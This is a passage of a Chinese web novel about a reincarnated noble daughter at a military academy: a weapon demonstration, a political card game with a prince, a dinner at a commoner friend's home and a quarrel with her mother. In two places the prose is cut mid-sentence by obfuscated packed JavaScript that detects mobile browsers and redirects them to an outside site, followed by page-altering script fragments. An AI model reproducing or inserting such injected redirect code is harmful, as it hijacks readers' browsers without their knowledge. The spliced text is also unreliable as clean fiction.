大厅中央，一排训练假人静静伫立——他们并非普通的木桩，而是炼金研究院特意为资助者研发的训练傀儡，能够模拟真实战场上的攻防节奏，甚至根据训练者的技巧进行调整，足以令任何一位身经百战的战士挥汗如雨。 海蒂站在训练场中央，握着那把“失败品”，她微微抬手，对准前方的傀儡，轻触扳机。 瞬间，枪口震颤，魔力造成的能量波动在空气中炸裂—— “砰！” 炼金假人胸口的位置被直接炸穿一个拳头大小的空洞，内部精密的炼金机关顿时崩解，零件滚落一地，浓烟自裂口中飘散而出。 这还只是海蒂口中的“失败品”，炼金魔枪真实的威力可想而知。 兰卡罗德公爵和雷蒙德管家都是经历过战场的人，此刻的脸色都不太好看。 “这把枪并不是以我自身的魔力引导的，而是来自实验体的魔力样本。”海蒂放下枪，平静地陈述道。 “你口中的‘实验体’，便是艾莉森的同学？”公爵敏锐地抓住了海蒂话中的重点。 “赛琳.罗德里克——她很特别。”海蒂的水晶镜片中反射出一片冷光，“魔力回路在平民身上觉醒并不罕见，但大多伴随着由魔晶矿辐射造成的隐性疾病，除了幼年时根据皇家军事学院的统计，以魔法被特招的平民学生中，在过去一百年间，活过三十岁的平民魔法师这项数据是零。” 艾莉森心中一惊。 那赛琳…… “但是，赛琳.罗德里克的魔力储备甚至超过了相当一部分贵族，除了稳定性堪忧以外，并没有出现魔血病的征兆——” “停。”公爵伸手制止了她的滔滔不绝，“海蒂，无论是武器编号还是此人的特殊性，我只关心一件事——那就是对兰卡罗德家来说，风险是否可控？” 海蒂似乎早就料到公爵会这么问，她摘下胸口的宝石胸针，双眼微闭，令无形的魔法能量环绕着自己，霎那间，胸针背面竟然亮起了密密麻麻的炼金铭文。 “请看，”海蒂的眼中似有蓝色的星辰闪耀，“这就是我的‘回响之尘’配合炼金魔导器的效果。” * 夕阳西下，归鸟还巢。 雷蒙德送艾莉森回到学院的时候，已经是黄昏时分。 艾莉森坐在马车上，一路无言，父亲和海蒂的话依旧回响在耳边。 “你是最合适的监视者人选，记住——她不是你的朋友，她是兰卡罗德家的资产。” 父亲的决定带着不容置疑的威严，艾莉森下意识地想要反驳，可是当话语抵达喉咙，却发现—— 如果她还想要继续利用炼金科技，这是唯一的办法。 没有炼金魔枪，赛琳将很难控制自己的魔力，这意味着，在未来越发艰难的学业中，她将无法毕业。 ——但那是不可能的。 作为女主角，赛琳天然就会是漩涡的中心，迟早会成为各方争夺的对象。 这就是她的“女主光环”。 在《军神唯爱恶役千金》之中，赛琳只是躲在埃德蒙身后的“原作女主”,但原作的内容，艾莉森绞尽脑汁，能够回想起的信息也极为有限-----她不是那个对游戏本身了若指掌的上班族。 而自己或许在不知不觉间推了她一把，让赛琳卷入了某种不知名的命运为所设定的“剧本”。 海蒂的声音清晰而冷酷， “回响之尘可以通过编码的方式锁定武器，让其无法使用。但如果情况失控，更极端的方式则是——” “编码99，炼金武器会自毁。” “……逆流魔力回路产生的爆炸，威力足够炸毁整个傀儡。” “如果她产生威胁的话。” 为什么事情会变成这样？ “抱歉，艾莉森，”海蒂的声音依然温和，却无法掩盖其中的冷漠现实：“这是唯一的解决办法。” 海蒂比自己这个做女儿的，更了解兰卡罗德公爵。 艾莉森停在宿舍门前，隆冬已至，呼啸的北风仿佛来自命运的尖锐嘲笑—— 未来到底会怎样，无人知晓。 11. 偏移值： 2% “艾莉森，你回来了！” 迎接艾莉森的，是赛琳充满活力的问候。 海蒂的话仍然回荡在艾莉森耳边。 “虽然现在看来一切正常，但如果长期使用炼金魔枪，我不敢保证未来她身上会否出现魔血症的病兆。” 艾莉森看着眼前少女的笑容，心却仿佛被一片无形的乌云笼罩，她不敢表现出来，赛琳在某些方面是相当敏锐的，只能有些僵硬地开口，尽量让自己的声音听起来平静些： “校医允许你回宿舍了？” “先别管校医了！” 赛琳的声音里透着掩不住的兴奋，她从桌上献宝似地将两张镶金边的成绩单举到艾莉森眼前，得意地扬了扬下巴：“当当当当！你看看这是什么？” 左边是赛琳的成绩单——在一长串堪堪及格的分数一后，唯独在“实战演练”栏里，赫然写着一个大大的“A+”；右边的则是她自己的，和赛琳一样，她的实战演练也是“A+”。 但意外的是，在“战略课”上，她竟然得了了个“B-”，也不知道是不是麦克雷准将突然大发慈悲，手下留情。 这个成绩虽然不算优秀，但绝对不会被淘汰。 “我们实战演练居然真的拿了A+！”赛琳的喜悦之情溢于言表，眼睛亮晶晶的，“多亏了你，艾莉森！” “其实我……” 艾莉森挤出一个有些勉强的笑容。她原本该高兴的，可此刻却完全提不起劲。 甚至连她自己都不知道，将赛琳的特殊之处暴露给海蒂，到底是好事还是坏事。 “你怎么了，艾莉森？” 赛琳察觉到她的神色不对，顿时有些紧张：“别担心啦，炼金魔枪被教官收走也不是坏事，成绩都出来了，说明学院是认可我们的。” 看来已经有人告诉她了，但显然赛琳对这背后的种种利益纠葛毫不知情，以为只是学院普通的审查。 海蒂承诺艾莉森，会将炼金魔枪归还，作为“监控”赛琳的手段—— 短时间内，有了魔枪的帮助，赛琳在学校不会再出现魔力无法控制的情况。 但艾莉森却没有办法忘掉，傀儡人偶胸前炸开大洞倒下的样子。 赛琳见她脸色苍白，眨了眨眼，试探地问道：“你父亲责骂你了？因为成绩不够好？我听说很多贵族家里都要求全A——但那怎么可能嘛！连卡西恩队长那样的人，艺术一栏也才拿了个C！” 她说得义愤填膺，圆脸气嘟嘟地鼓起来，倒像是一只嘴里塞满了食物的仓鼠。 艾莉森被她的反应逗笑了，心里的阴郁散了几分，道：“C？看来某人说‘神明是公平的’，确实没错。” “别郁闷了，反正都考完了，再过不久便是假期，要不——” 赛琳眼睛一亮，抓住艾莉森的手。 “来我家吧！妈妈做的菜可好吃了！你要是尝到她做的苹果派，保证什么烦恼都没了！” 她兴致高涨，还没等艾莉森拒绝，就开始自顾自地盘算起菜单：“嗯……炖牛肉、奶油蘑菇汤、香烤鳕鱼，还有苹果派……对了对了，还要请维克多和弗兰克！啊，还有卡西恩队长！” 她说着就要去找纸笔列菜单，一副势在必行的样子。 艾莉森无奈地看着她，忍不住感慨——难怪乙游里的男主对待女主时总是带着几分宠溺。 面对这样一个小太阳般的姑娘，谁能忍心拒绝呢？ 其他的事，暂且丢到一边吧。 * 艾莉森觉得，自己最近是不是和门杠上了。 不然怎么老是就站在门口，进退不能呢？ 此时此刻，她无比后悔答应了赛琳的请求。 “艾莉森，其实我还是有点怕卡西恩队长的……”棕发少女眨巴着小兔子一样的眼睛，双手合十做祈祷状，满怀希冀地看着自己，“能不能拜托你去邀请他呢？” 为什么一定要邀请他啊！请他来表演一段无差别臭嘴扫射吗？！ 艾莉森虽然想和卡西恩保持距离，但显然，赛琳并不了解两人之间那些微妙的恩仇拉扯，她的想法很简单——队长带她平地，不，是盆地起飞，她必须感谢队长。 明明想要撇清关系，却无法拒绝来小太阳一般的好友的请求，艾莉森不得不来到卡西恩宿舍前。 总不能告诉赛琳：这家伙想当我家赘婿我不想跟他牵扯太多—— 艾莉森只好认命地叹了口气，抬起手来，准备敲门。 但出乎她意料的是，门并没有关死。 里面传来熟悉的声音，温和有礼，让人如沐春风。 “卡西恩，很高兴我们终于见面了。” ——是埃德蒙殿下。 他居然真的“亲自”来找卡西恩了？ 艾莉森下意识屏住呼吸，转身便要离开，却听见门内传来卡西恩那惯常带着点冷嘲意味的声音： “殿下屈尊来到我这简陋的宿舍，实在是让我受宠若惊，感激涕零。” 哦豁，夹枪带棍，火力全开，不愧是嘲讽满分的卡西恩同学。 “我为上一次我的幕僚失礼的行为向您致歉。” 埃德蒙依旧是波澜不惊的样子，丝毫不受卡西恩挑衅的影响。 “哈，”卡西恩发出一声标志性的冷笑，“要说致歉，他冒犯的是殿下的未婚妻，可不是我这样的小人物。” 听到自己的名字，艾莉森迈出的步伐顿了顿，毕竟人人都有好奇心—— 而好奇心会害死猫。 “小人物？卡西恩，你真的这么想？” 房间里静了一瞬，艾莉森听到卡西恩低低笑了起来。 “布莱克家见不得光的私生子，殿下可别说不知道。” “宝石不会因为坠入污泥就失去光泽，天赋和才华也不会因为血统而折损。”埃德蒙的语调不疾不徐，一如他惯常的优雅从容。 “如果你真的认命，就不会在实战演练中击败卡洛，”他话锋一转，切入核心，“……也不会处心积虑去接近我的未婚妻了。” “美丽的女性本就容易吸引异性的眼光，说是‘处心积虑’未免太刻薄了。更何况，她的价值，可不仅止于美貌——殿下， 恕我直言，您这是在吃醋吗？” 门外的艾莉森已经捂住了脸，她几乎能想象到卡西恩此刻欠揍的笑容。 “……你说笑了。但卡西恩，你有没有想过，也许艾莉森能给你的，我也可以，甚至能给你更多吗？” 卡西恩似笑非笑地打量着埃德蒙，他挑了挑眉，语气中带着点揶揄：“殿下，我喜欢的是女性。” ——砰！ 门被猛地推开，艾莉森神色复杂，深深地吸了口气，试图稳住自己“贵族千金”的人设。 她再不进来，只怕自己就要在不知情的时候成为桌上的肉，等着被这两人瓜分了。 “失礼了。”她尽量让自己的语调显得平静一些，“门没有关，我就自己进来了。” 艾莉森笑得优雅，对卡西恩道：“赛琳想邀请你去她家参加庆功会，我是来传话的。” 她又转向埃德蒙，轻提裙摆，“不知埃德蒙殿下也在此，希望我没有打扰二位聊天的雅兴。” “非常抱歉，无意中听到了二位谈话的内容，但如果谈论的对象是我，不止我是否有荣幸加入呢？” 卡西恩还是那副好整以暇的看戏模样，他转过身，从书桌前的抽屉里拿出一个纸盒子，像个没事人一样的笑道： “机会难得，既然人齐了，不如来玩一局——大小姐，你意下如何？” 那是一副“王座牌”，在阿尔特蒂亚上层男性中颇为流行，卡西恩在圆桌前拉开三把椅子，做了个“请”的手势。埃德蒙也不推辞，姿态优雅地坐下，仿佛一切都理所当然。 卡西恩不只是想让她玩一局游戏这么简单，他是在问—— 有没有勇气加入这场权力的博弈？ 这个游戏，艾莉森从前见父兄玩过，知道基本的规则。 她没有把握。 但如果此刻退却，她恐怕再也没有机会介入这两人的“牌局”之中，终有一天，她也会成为他们指尖的纸牌，被随意翻动，交易，甚至丢弃。 但最终，她在桌边落座，听见自己清晰的声音—— “那就开始吧。” 卡西恩打开盒盖，将纸牌倒在桌上，他的手指纤长，骨节分明，洗牌时动作行云流水，十分赏心悦目。 “规则不用我再重复吧。”卡西恩将洗好的牌分成两堆，置于木桌中心，金绿色的眸子看向艾莉森，道：“女士优先。” 似乎是注意到她的紧张，埃德蒙瞥了艾莉森一眼，淡淡开口：“按照规则，应当是位于正北方的玩家先开始。” 埃德蒙的位置便是正北。 卡西恩玩味地目光扫过埃德蒙和艾莉森，将纸牌往前一推，笑道：“如您所愿，殿下。” “别想太多，只是一个游戏。”埃德蒙貌似不经意地说道，将一张牌放在自己的眼前。 ——“王储”。 “王座牌”是仿造帝国的权力结构设计的纸牌游戏，其中，只要有玩家取得“皇帝”或者“摄政”，再有两张贵族牌支持，便能赢得游戏。 同样的，如果能在平民或者军队阵营中取得能够制衡王权的牌，也能够赢。 埃德蒙的这张“王储”，是贵族牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是一张特殊牌，如果三回合内没有玩家打出能够控制局面的牌组，则整个游戏都会结束，没人成为赢家。 很有他的风格。 “大小姐，该你了。”卡西恩的手指在牌面上轻轻敲击，像是倒计时的声音。他单手拖着下巴，金绿色的眼睛泛着危险的光芒，像在欣赏着猎物的挣扎——“跟，还是不跟？” 混乱，或者秩序？ 你将站在哪一边？ 艾莉森想了想，打出一张“侯爵”。 “多谢，艾莉森。”埃德蒙轻轻颔首，面上不动声色。 卡西恩皱眉，冷笑道：“二位倒是颇有默契。” “侯爵”是一张贵族牌，在此之前，艾莉森使用过能够窥探埃德蒙手牌的“军师”，在他手里，有一张能够压制暴动牌的“摄政”，只要能再获得两张贵族牌的支持，便能取得胜利。 就连艾莉森也不得不感叹，王子殿下的牌运和他的身份一样，天生便有优势。 但是她也有自己的打算。 “将军。”埃德蒙不急着使用“摄政”，而是使用了一张能够牵制局势的“将军。” 他需要累积更多的资源，获取支持，才能牢牢地将胜利握在手中。 卡西恩的“暴动”留在桌面，无人响应。 时间不多，但艾莉森十分肯定，他手中仍有一张能够配合“暴动”的“革命”牌，只要能够在殿下取得绝对优势之前，打出“革命”，便能重新洗牌。否则，以卡西恩的性格，绝无可能只想成为一个搅局者，他还在等待着对自己更有利的机会。 把水搅浑，才能浑水摸鱼。 卡西恩再次亮出一张“间谍”，这一次，他选择窥探艾莉森的手牌，她手上已经只剩两张牌了：一张“商人”，一张“伯爵”。 卡西恩脸上的笑容越发讥讽，只要艾莉森打出“伯爵”，埃德蒙便赢了。 他摊开双手，做了个投降的姿势，笑道：“看来我这次牌运确实不好，只能认栽。” 正如王子殿下所说，这只是个游戏。 他们是未婚夫妻，又都是贵族，这样的结局，理所当然。 然而，出乎他的意料，艾莉森扔出了一张—— 商人。 能够交换其余玩家的手牌，且不能够被拒绝。 她要交换什么？骑士？城堡？王后？ “大小姐，猫抓老鼠的游戏固然有趣，但确保胜利才是第一要务。”卡西恩把手里的牌面往桌上一字排开，身体向后，靠在椅背上，用手指轻轻敲着桌面：“你应该打‘伯爵’，这样游戏便结束了。” 然而，出乎他的意料，艾莉森看着他，笑得十分明媚，湛蓝的眼里甚至有一丝藏不住的得意和狡黠。 “卡西恩，我要你的‘革命’。” 卡西恩愣住了。 就连埃德蒙，亦是微微眯起了眼，像是在重新衡量艾莉森的价值。 艾莉森从卡西恩的手牌里抽出那张黑色的“革命”牌，轻轻地放在在桌子正中，牌堆之上： “二位，洗牌吧。” “还要继续吗？” 12. 偏移值：2% “艾莉森，你和队长之间，是不是发生了什么？”赛琳有些促狭地看着友人，眼底燃烧着熊熊八卦之火。“从他宿舍回来，你就一直在笑。” “怎么可能！”艾莉森立刻否认，“只是恰好遇到了埃德蒙殿下而已！” “在队长的宿舍，遇到殿下？”赛琳的表情越发的“意味深长”，显然开始脑补八百万字修罗场文学： “艾莉森，我懂，埃德蒙殿下就像一片平静的湖泊，波光潋滟，深邃而包容，让人想要沉溺其中，”赛琳仿佛在诗朗诵，眼神陶醉，激情澎湃， “而卡西恩队长——”她眼神陶醉，陷入了少女的幻想，“他是山谷之风，清冷神秘，又捉摸不定，”赛琳捂住胸口，叹息一声：“在湖泊和山风之间左右为难的少女，多么地令人心疼！” 艾莉森：“……” “你这些乱七八糟比喻到底是哪学的？” 赛琳丝毫不受影响，兴奋第补充道：“可是书里都是这么写的啊！” “……我觉得你应该少看一些乱七八糟的书。” 艾莉森被好友过于旺盛的想象力搞得有些哭笑不得。 赛琳有些感慨，她叹了口气，有点小小遗憾地说：“不过故事里的骑士，是不会拒绝淑女的邀请的……”她撅起嘴，像一只咀嚼谷物的仓鼠，颇有些忿忿不平：“可惜，队长居然不肯来庆祝会，所以这次我站殿下！” ……别随便站队啊，你倒是考虑一下我的意见好吗？ 艾莉森无奈，不禁想要调侃几句，赛琳却摆摆手，笑道： “开玩笑的，艾莉森，队长家里有事，这也没办法。” ——卡西恩在牌局结束后，以“布莱克公爵有事相召”为由回家，拒绝了赛琳的庆功会邀请。 这倒是在艾莉森意料之中。 以那家伙的性格，从没听说过他有去参加什么同学之间的交际。而如果卡西恩不想去，那必然是连理由都懒得编，这次居然还特意说“家里有事”，已经算稀奇了。 更奇怪的，是埃德蒙殿下在听说赛琳要举办庆祝会后，竟然表现出了几分兴趣。 “赛琳的家附近，听说有一家颇受平民欢迎的酒馆。有机会的话，我倒真想去瞧瞧——” 他话没说完，便被某人冷笑着打断，随即开启无情嘲讽模式： “殿下，如果您想展示自己亲民，最好不要一时兴起突发奇想。” “否则，皇家卫队那帮蠢材三个月的薪水被扣光还是小事，万一您出点小意外，平民区的百姓可不像那帮无所事事的贵族，他们要赚钱养家，可禁不起几个月以‘调查’名义进行的骚扰。” 埃德蒙只是笑了笑，并没有反驳卡西恩的嘲讽，此事便就作罢。 艾莉森没有出声，埃德蒙殿下不是一个轻率的人，更不可能出于单纯的“兴趣”想要去平民区。 但艾莉森并不想要去思考这其中隐藏的含意。 毕竟，和他们玩牌，比排八百遍沙盘还累—— 有时候糊涂一些，是为了放过自己。 能从那两人手里讨到一分便宜，看到他们愕然的样子，已经算是赚到了。 想到这，艾莉森的嘴角又情不自禁地上扬起来，她连忙收敛了表情，努力让自己看起来镇定如常。 “艾莉森……你是不是又在偷笑？” 艾莉森：“……” 糟糕。 * 两个姑娘一边聊着天一边走，夜幕降临，王都的街灯次第点亮，将鹅卵石铺就的道路镀上了一层柔和的光晕，从军事学院穿过几个街区，贵族区的大理石街道很快被青砖和斑驳的石板路所取代，街边的小店亮起了灯光，为深冬带来些许暖意。来来往往的行人脚步匆匆，带着平民区特有的烟火气。 艾莉森本可以乘坐马车，但她并没有那么做——赛琳的家境然不算贫困，仍远不及贵族生活奢靡。她若是大张旗鼓地坐着马车过去，在狭窄的道路上实在太过打眼，只会给赛琳的家人添麻烦。 “其实不用特意陪我走过来的，”忽然偏头看向艾莉森的脚。 艾莉森顺着她的视线低头，才发现自己锃亮的军靴已经沾上了几道灰尘。她一向不怎么在意这些，倒是赛琳皱起了眉，“你的靴子都弄脏了。” 在学校里，不少贵族都十分讲究仪容，制服是不能有半条褶痕的，靴子必须是光可鉴人——比起艰苦的军事训练和复杂的战术推演，那一身笔挺的军装和领子上金灿灿的家徽，才是他们报考军校的理由。 “这不算什么，”艾莉森耸耸肩，“我没那么多的讲究。” 她没说出口的是，平民区的一切都让她想起前世的自己。 打工攒钱买的新鞋，在回家的小路上溅到了泥点，她心疼得恨不得立刻蹲下来擦干净。 甚至在跳进河里救人之前，她的第一反应也是把鞋脱了放岸上。 这些记忆太久远了，久远得让她差点忘了，自己也曾是个在街道上奔跑的孩子。 不用管未来，更不用去考虑家族，自由自在，无拘无束。 艾莉森摇了摇头，像是要甩开那些没有意义的感伤。 她深吸了一口气，享受着风中飘散着的面包和炖肉香味，“光是闻着这些味道，我都开始期待你妈妈烤的苹果派了。” “那你一定不会失望的！”赛琳的脸上浮现出自豪的笑容，脚步也轻快了许多。“转过前面的那个巷口就到了。” 跟着赛琳拐过街角，不远处，一座温馨的小屋已经亮起了柔和的灯光。 迎面走来几道熟悉的身影，正是同样受邀的小队成员们。 “赛琳！”见到二人，弗兰克远远地挥起了手。“还有艾莉——呃，兰卡罗德小姐。” 演练的时候，队友之间都直接互称名字，这会儿在校外相见，倒是让他突然意识到艾莉森“贵族”这一身份的存在，一时间显得有些尴尬。 “叫我艾莉森就好。” 弗兰克明显松了口气，拉过一边的维克多，用手肘撞了撞他：“看，我就说你白操心了，艾莉森和学校里那些贵族小姐可不一样。” 沉默的少年点了点头表示赞同。 “哥，她就是那个‘毒玫瑰’？” 一个小小的脑袋从维克多身后探出来。 这是个十岁左右的小姑娘，和维克多一样的暗红色头发被梳成两条小辫子垂到胸前，湖水绿色的大眼睛好奇地盯着艾莉森，像是一只对世界充满探索欲的小猫。 维克多连忙捂住小姑娘的嘴，将她拽到身后，脸涨得通红，他本就有些结巴，此刻更是连一句完整的话也说不出来了：“对、对、对……不、不、起！！” 艾莉森失笑。 看来，她的恶名看来在平民区也广为流传啊。 “没关系，小孩子嘛。” 她微微蹲下，让自己的视线与小女孩齐平，温和地问：“你叫什么名字？” 女孩不回答，紧张地拽着维克多的衣角，目光一动不动地盯着艾莉森的脸。 “玛丽安，是你自己说要来，怎么现在人在你面前，你又不敢说话了？” 弗兰克抱着手臂，语气戏谑，“这小鬼是维克多的妹妹，叫做玛丽安。我们两家住的不远，路上碰着，便一起过来了。” 他说着，突然挑了挑眉，坏笑道：“喂，你是不是看艾莉森太漂亮，傻眼了？” 话音刚落，那姑娘的脸便涨得通红，毫不犹豫地给了弗兰克一拳，两人顿时闹做一堆。 大概是动静太大，惊动了屋里的人，一个中年妇人推门出来。 她穿着带围裙的朴素布裙子，栗色的头发盘在头顶上，她的脸因为劳作显得比实际年龄大上一些，身材略有些发福，手上还沾着未来得及擦去的面粉。 “臭丫头，这么冷的天气，还让客人们等在外面！” 赛琳吐了吐舌头，扯住艾莉森的袖子，把人往屋里拽：“都进来吧，不然我妈妈可得念叨了。” 赛琳妈妈看着门前的一群年轻人，目光里满是温和：“快进屋吧，夜里冷得厉害，别冻坏了。” 她的目光落在艾莉森身上，有些迟疑地问：“这位就是你信中提到的艾莉森？“ “打扰了，夫人。”艾莉森微微颔首。 赛琳妈妈绽放了一个大大的笑容，用围裙擦了擦手，亲热地拉住她：“哎哟，什么夫人不夫人，赛琳的朋友，别客气，就当是来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826030|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己家里。” 一行人走进屋里，木门将室外的寒意隔绝开，空气里弥漫着食物的香味。 小小的屋子不算宽敞，但打理得井井有条，桌上铺着蓝白相间的方格桌布，已经放好了几道散发着热气的菜肴。 “都去洗手，我这里还有最后一道菜！” 赛琳的母亲转身便要进厨房，又朝着里屋喊了声：“孩子他爸，赛琳的同学来了，快帮我招待一下！” 房门轻响，一个四十来岁的男人从里屋缓缓走了进来。他身材颇为壮硕，他身材颇为壮硕，皮肤略显黝黑，双手满是老茧，只是右腿裤子却空捞捞的，拄着一根木质的拐杖，裤脚随着动作左右晃荡着。 “爸爸！”赛琳连忙迎上去，扶着父亲，关心道：“爸爸，你慢点。” 男人摆摆手，揉了揉赛琳的头：“小姑娘，别搞得你爸跟个七八十的老头似的，让你同学笑话！” 他抬起头，目光扫过屋内的几个年轻人，爽朗笑道：“赛琳的同学，我女儿平时给你们添麻烦了吧？都别客气，快坐下。” 见玛丽安盯着他的腿看，他不仅没有丝毫不悦，反而毫不在意地笑道：“年轻时在矿上做工，遇上了意外，便成了这样了。” 他拍了拍赛琳的肩膀，眼里满是欣慰和骄傲道：“好在我闺女争气！” 弗兰克立马接过话头，竖起大拇指：“可不是嘛！赛琳可是帮了我们大忙！要不是她神勇，我们这学期恐怕都得打包回家了！” “哦？”赛琳的父亲来了兴致，“这我倒想听听。” 说到实战演练，弗兰克瞬间来了精神，整个人兴奋地比划起来，滔滔不绝地讲述着那天他们如何破坏蓝军的侦察链，又是如何利用陷阱，最后赛琳神勇地击碎哨塔，让卡西恩和艾莉森里应外合，奠定胜局—— “那一刻，赛琳帅爆了，要不是——” “弗兰克！”弗兰克话刚出口，便对上赛琳警告的眼神。 他瞬间会意，知道赛琳不想让父母担心，连忙把话头饶开：“——要不是她太过耀眼，把我的风头抢了，搞不好我还能听到队长破天荒夸我一句。” “胡说八道！”赛琳被他夸得脸颊微红，“你什么时候听过队长夸人？” “谁说我没听过？”弗兰克一本正经地反驳，调转枪头，看向艾莉森：“实战演练结束后，他可在你面前亲口说的——” “‘大小姐还算有点本事’。” “咳咳咳咳咳——”艾莉森差点被汤呛到，连忙用手帕挡住嘴，白了弗兰克一眼，随即放下勺子，双手环臂靠向椅背，微微眯起眼，学着卡西恩那副阴阳怪气的样子：“他的下一句是—— ‘不过对面的都是蠢材，我对这句评价持保留意见。’” 众人哄笑了起来。 热腾腾的炖肉香气四溢，软糯的土豆，散发着奶香的蘑菇浓汤，搭配新鲜出炉的黑麦面包，更别提那让赛琳引以为傲的苹果派—— 每一口，都是家的温暖。 没有兰卡罗德家宴席的繁复奢华，也不同于军校一成不变的营养配给，但这份简单却格外让人满足。 欢声笑语间，食物被一扫而空，别说弗兰克维克多这样正值发育期的男孩子，就连艾莉森也吃得比平时多了些。 不知不觉，天色已晚。 赛琳的父亲腿脚不便，便由她母亲送众人到门口。 “霜雪节要到了，到时学校放假，欢迎你们再来玩。” 赛琳的母亲有些舍不得女儿，拉着她又叮嘱了几句。 “好了妈妈，假期很快就到了，我到时候就回来啦！”赛琳笑着安慰母亲。 赛琳的妈妈慈爱地摸了摸她的头发，望向外面漆黑的街道——眼里却多了一丝担忧。 “节日临近，最近街上不太平，坏人也多了起来。好在你们人多，结伴而行，我也放心一些。” 艾莉森顿住脚步，敏锐地捕捉到这句话，抬眸看向她，“坏人？” 赛琳母亲叹了口气，压低声音道：“最近平民区发生了好几起失踪案，好些人晚上出去了，便再没回来。” 夜风吹过，带来一丝彻骨的凉意，炉火的温暖似乎都被风吞没了一瞬。 13. 偏移值：2% 霜雪节是阿尔特蒂亚一年中最重要的日子，不论平民或是贵族，都会回到家中，与亲人团聚。 对于皇家军事学院的学生来说，这是冬季假期的开始。 午后的阳光透过玻璃床落入铺着天鹅绒地毯的房间内，艾莉森端坐于梳妆台前，侍女梅芙用象牙梳子整理着她蜂蜜色的长发，又抹了一些发油，让头发更加柔顺。 “可怜的小姐，一定是好久都没有这样护理过头发了。”梅芙从抽屉里拿出银质的梳妆盒，问：“小姐今天想要梳个什么样的发型？” 艾莉森随意选了条蕾丝缎带，让梅芙为她做了一个简单的半束发，又选好了搭配的珍珠耳环，最后换上一条淡紫色的裙子，在镜前整理好。 ——这样的打扮，真是久违了。 “走吧，梅芙，去见母亲。” 片刻之后，艾莉森来到了位于公爵府侧翼的阳光房。 房内已经摆上了挂满水晶霜雪装饰的冷杉树，精致的雕花木桌上铺着绣有蔷薇纹样的桌布，上面摆着精美的骨瓷茶具，维罗妮卡.兰卡罗德穿着一条深蓝色带金银线刺绣的天鹅绒长裙，端坐桌前。 不论内心多么不情愿，霜雪节到了，公爵府还是迎回了它的女主人。 艾莉森走进来的时候，她正望着落地玻璃窗外的花房出神，连女儿靠近也没有发现。 “母亲大人。”艾莉森向她行了个提裙礼，恭敬地问候道。 维罗妮卡这才慢慢地转过头，琥珀色的眼睛将艾莉森从头到脚打量了一番，露出一个宽慰的笑容： “不错，这才像兰卡罗德家的大小姐。” 她放下茶杯目光柔和了些。 “这几个月，你辛苦了吧。” “多谢母亲大人的关心。”艾莉森在维罗妮卡的对面坐下，“许久不见，您看来气色不错。” “你大哥远在锡兰，二哥又说最近事务繁忙，恐怕还要晚些才能回来，难得我们母女二人能单独聊聊。” “的确如此。” 紧接着，便是沉默。 难堪的沉默横亘在母女之间。 “你就没有什么要对我说的话吗，艾莉森？”维罗妮卡有些迟疑地开口。 “母亲大人想问什么呢？”艾莉森用茶匙轻轻地搅动着茶汤，垂下眼眸。 感受到她的疏远，维罗妮卡暗自叹了口气，尽量让自己像个合格的母亲一样问道：“皇家军事学院的生活可还习惯？” “一切尚可，母亲大人不必担心。” 维罗妮卡皱了皱眉，又问：“埃德蒙殿下呢？你最近可曾见过他？” 艾莉森动作顿了顿，答道：“见过几次。” 维罗妮卡仔细观察着女儿的神色，斟酌道：“那他对你……可还满意？” 果然。 母亲只关心这个。 艾莉森尽量让自己的语气保持平静：“——母亲大人，我不是为此才去军事学院的。” 然而，这句话在维罗妮卡听来，却是顶撞。 她放下茶杯，语气也冷了下来，道：“看来军校的日子，让你忘了该有的礼仪。” 艾莉森不语，她不想争吵，也不想继续这个毫无意义的对话。于是，她站起身来，行礼道：“母亲大人，如果没有别的事，我先告退了。” 说罢，转身便走。 椅子轻微晃动了一下，茶匙碰撞瓷碟，发出清脆的响声。 “站住。” 维罗妮卡的声音不高，却已不复温和，带着明显的怒气，她盯着艾莉森的背影，握着茶杯的手收紧了几分。 “谁允许你走了？” 艾莉森深吸一口气，转过身来，尽量控制着自己的语气。 又来了。 她记不清同样的争吵在自己的成长过程里发生了多少次，无所谓理由，通常只是一句话，一个眼神，一些微不足道的小事。 “我从未想过要对您无礼——也许您太久没有回到王都，不再熟悉我说话的方式了。” 维罗妮卡的目光紧紧盯着女儿的脸：“言下之意，我是不该管教你了——好，我这就回南方领地去。” “又是在吵什么！”低沉的嗓音打破了剑拔弩张的氛围，威廉·兰卡罗德公爵迈步而入，鹰一般的目光扫过僵持的二人。 艾莉森沉默片刻，微微一礼：“只是和母亲有些意见不合。” 公爵皱了皱眉，显然不相信她的说辞，转向维罗妮卡：“我刚才似乎听见，你说要回南方？” 维罗妮卡咬了咬牙，眼中闪过一丝复杂的情绪，愤怒，失望，悲伤……半晌，她用颤抖的声音说道：“她既然不愿意接受母亲的教导，我留在这里又有什么意义。” 说到最后，她的声音已经有些哽咽，眼眶也不由得红了。 “维罗妮卡，你太激动了，控制一下自己的情绪。”公爵看着她，语气里满是无奈，“事情不至如此。” 维罗妮卡冷笑道：“情绪！情绪！你从来不知道正视真正的问题，你也不关心你的女儿——你只想她成为一个合格的军人，却不关心她是个女孩子，还是兰卡罗德家的小姐！” 艾莉森见母亲眼含泪水，心中一紧，她下意识想移开目光，却没能做到——那是她的母亲，曾经为她整理过发辫，带她走进社交场的母亲，她永远也没办法彻底狠下心来。 最终，她还是低声道。 “母亲，我没有忘记自己的身份。” 但维罗妮卡却不领情，她猛地回头，看向女儿：“是吗？我倒是觉得，再让你在那所学校呆下去，你和你父亲便会越来越像——迟早成为一个只懂得战场和军令的莽夫。” 艾莉森低下头，没有回答。 “王室不会接纳这样的女子成为王妃。” 维罗妮卡重重地放下了茶杯，冷声道： “退学吧，如果你还承认我是你的母亲。” 空气冻结了。 仆人们像是比赛谁能够把头埋得更低似的，没有人敢说话。 “简直荒谬。”兰卡罗德公爵也动了怒，“夫人，我的忍耐是有限度的。” “老爷，夫人——” 兰卡罗德公爵夫妇一齐望向雷蒙德管家，纵使他见多识广处变不惊，此刻也不禁低下了头。 